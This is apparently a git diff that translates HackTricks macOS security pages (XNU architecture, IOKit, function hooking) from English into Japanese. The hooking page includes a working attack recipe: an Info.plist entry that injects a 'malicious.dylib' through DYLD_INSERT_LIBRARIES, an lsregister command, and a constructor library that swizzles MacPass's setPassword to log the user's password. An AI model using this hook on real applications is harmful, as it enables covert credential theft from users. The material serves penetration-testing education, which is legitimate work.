Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC特権を昇格させる**必要があります（または、ニーズに応じて**SIPをバイパスする**必要があります）。
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
これらの特権は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの特権を取得する別の方法は、**その特権を持つプロセスの子プロセス**であることです。これらは通常**継承されます**。
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
これらのリンクをたどって、[**TCCで特権を昇格させる**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)、[**TCCをバイパスする**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)方法や、過去に[**SIPがバイパスされた**](macos-security-protections/macos-sip.md#sip-bypasses)方法を見つけてください。
## macOS Traditional Privilege Escalation
## macOSの伝統的な特権昇格
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。以下の投稿をチェックして、いくつかのヒントを得てください：
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## macOS Compliance
## macOSコンプライアンス
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## References
## 参考文献
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**OS Xインシデントレスポンス：スクリプティングと分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

36
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
View File

@ -4,36 +4,36 @@
## XNU Kernel
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
**macOSのコアはXNUです**。これは「X is Not Unix」の略です。このカーネルは基本的に**Machマイクロカーネル**（後で説明します）と**Berkeley Software Distribution（BSD）**の要素で構成されています。XNUはまた、**I/O Kitというシステムを介してカーネルドライバのプラットフォームを提供します**。XNUカーネルはDarwinオープンソースプロジェクトの一部であり、**そのソースコードは自由にアクセス可能です**。
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
セキュリティ研究者やUnix開発者の視点から見ると、**macOS**は**FreeBSD**システムに非常に**似ている**と感じるかもしれません。洗練されたGUIと多数のカスタムアプリケーションがあります。BSD向けに開発されたほとんどのアプリケーションは、macOS上で修正なしにコンパイルおよび実行できます。Unixユーザーに馴染みのあるコマンドラインツールはすべてmacOSに存在します。しかし、XNUカーネルがMachを取り入れているため、従来のUnixライクなシステムとmacOSの間にはいくつかの重要な違いがあり、これらの違いが潜在的な問題を引き起こしたり、独自の利点を提供したりする可能性があります。
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
XNUのオープンソース版: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
Machは**UNIX互換**に設計された**マイクロカーネル**です。その主要な設計原則の1つは、**カーネル**空間で実行される**コード**の量を**最小限に抑え**、ファイルシステム、ネットワーキング、I/Oなどの多くの典型的なカーネル機能を**ユーザーレベルのタスクとして実行できるようにすること**でした。
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
XNUでは、Machはカーネルが通常処理する多くの重要な低レベル操作、例えばプロセッサスケジューリング、マルチタスク、および仮想メモリ管理を**担当しています**。
### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
XNUの**カーネル**は、**FreeBSD**プロジェクトから派生したかなりの量のコードも**取り入れています**。このコードは**Machとともにカーネルの一部として同じアドレス空間で実行されます**。ただし、XNU内のFreeBSDコードは、Machとの互換性を確保するために修正が必要だったため、元のFreeBSDコードとは大きく異なる場合があります。FreeBSDは以下を含む多くのカーネル操作に寄与しています：
- Process management
- Signal handling
- Basic security mechanisms, including user and group management
- System call infrastructure
- TCP/IP stack and sockets
- Firewall and packet filtering
- プロセス管理
- シグナル処理
- ユーザーおよびグループ管理を含む基本的なセキュリティメカニズム
- システムコールインフラ
- TCP/IPスタックとソケット
- ファイアウォールとパケットフィルタリング
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
BSDとMachの相互作用を理解することは、異なる概念的枠組みのために複雑です。たとえば、BSDはプロセスを基本的な実行単位として使用しますが、Machはスレッドに基づいて動作します。この不一致は、**各BSDプロセスを1つのMachスレッドを含むMachタスクに関連付けることによってXNUで調整されます**。BSDのfork()システムコールが使用されると、カーネル内のBSDコードはMach関数を使用してタスクとスレッド構造を作成します。
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
さらに、**MachとBSDはそれぞれ異なるセキュリティモデルを維持しています**：**Machの**セキュリティモデルは**ポート権**に基づいていますが、BSDのセキュリティモデルは**プロセス所有権**に基づいています。これら2つのモデルの不一致は、時折ローカル特権昇格の脆弱性を引き起こすことがあります。典型的なシステムコールに加えて、**ユーザースペースプログラムがカーネルと相互作用することを可能にするMachトラップもあります**。これらの異なる要素が組み合わさって、macOSカーネルの多面的でハイブリッドなアーキテクチャを形成しています。
### I/O Kit - Drivers
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバフレームワーク**であり、**動的にロードされるデバイスドライバ**を処理します。これにより、さまざまなハードウェアをサポートするために、カーネルにモジュラーコードを動的に追加できます。
{{#ref}}
macos-iokit.md
@ -47,9 +47,9 @@ macos-iokit.md
## macOS Kernel Extensions
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
macOSは**カーネル拡張**（.kext）をロードすることに非常に制限があります。これは、そのコードが高い特権で実行されるためです。実際、デフォルトではバイパスが見つからない限り、ほぼ不可能です。
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
次のページでは、macOSがその**kernelcache**内でロードする`.kext`を回復する方法も見ることができます：
{{#ref}}
macos-kernel-extensions.md
@ -57,7 +57,7 @@ macos-kernel-extensions.md
### macOS System Extensions
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
カーネル拡張の代わりに、macOSはシステム拡張を作成しました。これにより、カーネルと相互作用するためのユーザーレベルのAPIが提供されます。この方法で、開発者はカーネル拡張を使用することを避けることができます。
{{#ref}}
macos-system-extensions.md

298
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
View File

@ -4,52 +4,47 @@
## Function Interposing
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
**`__interpose`** セクション（または **`S_INTERPOSING`** フラグが付けられたセクション）を含む **dylib** を作成し、**元の** 関数と **置き換え** 関数を参照する **関数ポインタ** のタプルを含めます。
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
次に、**`DYLD_INSERT_LIBRARIES`** を使用して dylib を **注入** します（インターポジングはメインアプリがロードされる前に行う必要があります）。明らかに、[**`DYLD_INSERT_LIBRARIES`** の使用に適用される **制限** はここにも適用されます](../macos-proces-abuse/macos-library-injection/#check-restrictions)。&#x20;
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## メソッドスワッピング
## Method Swizzling
ObjectiveCでは、メソッドは次のように呼び出されます: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**オブジェクト**、**メソッド**、および**パラメータ**が必要です。そして、メソッドが呼び出されると、**msgが送信されます**。これは関数**`objc_msgSend`**を使用します: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
オブジェクトは**`someObject`**、メソッドは**`@selector(method1p1:p2:)`**、引数は**value1**、**value2**です。
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
オブジェクト構造に従って、**メソッドの配列**にアクセスすることが可能で、そこには**名前**と**メソッドコードへのポインタ**が**格納されています**。
> [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
> メソッドとクラスは名前に基づいてアクセスされるため、この情報はバイナリに保存されます。したがって、`otool -ov </path/bin>`または[`class-dump </path/bin>`](https://github.com/nygard/class-dump)を使用して取得することが可能です。
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
### 生のメソッドへのアクセス
次の例のように、メソッドの情報（名前、パラメータの数、アドレスなど）にアクセスすることが可能です:
```objectivec
// gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
return 0;
}
```
### メソッドスワッピングと method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
関数 **`method_exchangeImplementations`** は **一つの関数の実装のアドレスを他の関数に変更する** ことを可能にします。
> [!CAUTION]
> So when a function is called what is **executed is the other one**.
> したがって、関数が呼び出されると **実行されるのは別の関数です**。
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
return 0;
}
```
> [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
> この場合、**正当な**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。
>
> The following technique doesn't have this restriction.
> 次の技術にはこの制限はありません。
### Method Swizzling with method_setImplementation
### method_setImplementationによるメソッドスウィズリング
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**あるメソッドの実装を別のメソッドに変更**できます。
新しい実装から元の実装を呼び出す予定がある場合は、上書きする前に**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのは非常に複雑になります。
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
return 0;
}
}
```
## フッキング攻撃の方法論
## Hooking Attack Methodology
このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
それを行うための最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[タスクポートを介したDylibプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)によって行うことができると思います。
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
ただし、関数フッキング攻撃は非常に特定的であり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います（そうでなければ、プロセス注入攻撃を行うだけです）。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。
したがって、攻撃者のベクターは、脆弱性を見つけるか、アプリケーションの署名を剥がし、アプリケーションのInfo.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入し、次のようなものを追加することになります：
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
and then **re-register** the application:
そして、アプリケーションを**再登録**します：
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
そのライブラリに情報を抽出するためのフックコードを追加します: パスワード、メッセージ...
> [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
#### Library example
> 新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**し、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**。
#### ライブラリの例
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## References
## 参考文献
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

216
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md
View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされるデバイスドライバー**を処理します。これにより、さまざまなハードウェアをサポートするために、モジュラーコードをカーネルにオンザフライで追加できます。
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
IOKitドライバは基本的に**カーネルから関数をエクスポート**します。これらの関数パラメータの**型**は**事前定義されており**、検証されます。さらに、XPCと同様に、IOKitは**Machメッセージの上にある別のレイヤー**です。
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
**IOKit XNUカーネルコード**は、Appleによってオープンソース化されており、[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)で入手できます。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです[https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
ただし、**IOKitドライバは**オープンソースではありません。それでも、時折、ドライバのリリースにはデバッグを容易にするシンボルが付属することがあります。ファームウェアから[**ドライバ拡張を取得する方法はこちら**](./#ipsw)**を確認してください。**
これは**C++**で書かれています。デマングルされたC++シンボルを取得するには、次のコマンドを使用できます:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
> IOKit **公開された関数**は、クライアントが関数を呼び出そうとする際に**追加のセキュリティチェック**を実行する可能性がありますが、アプリは通常、IOKit関数と対話できる**サンドボックス**によって**制限**されています。
## Drivers
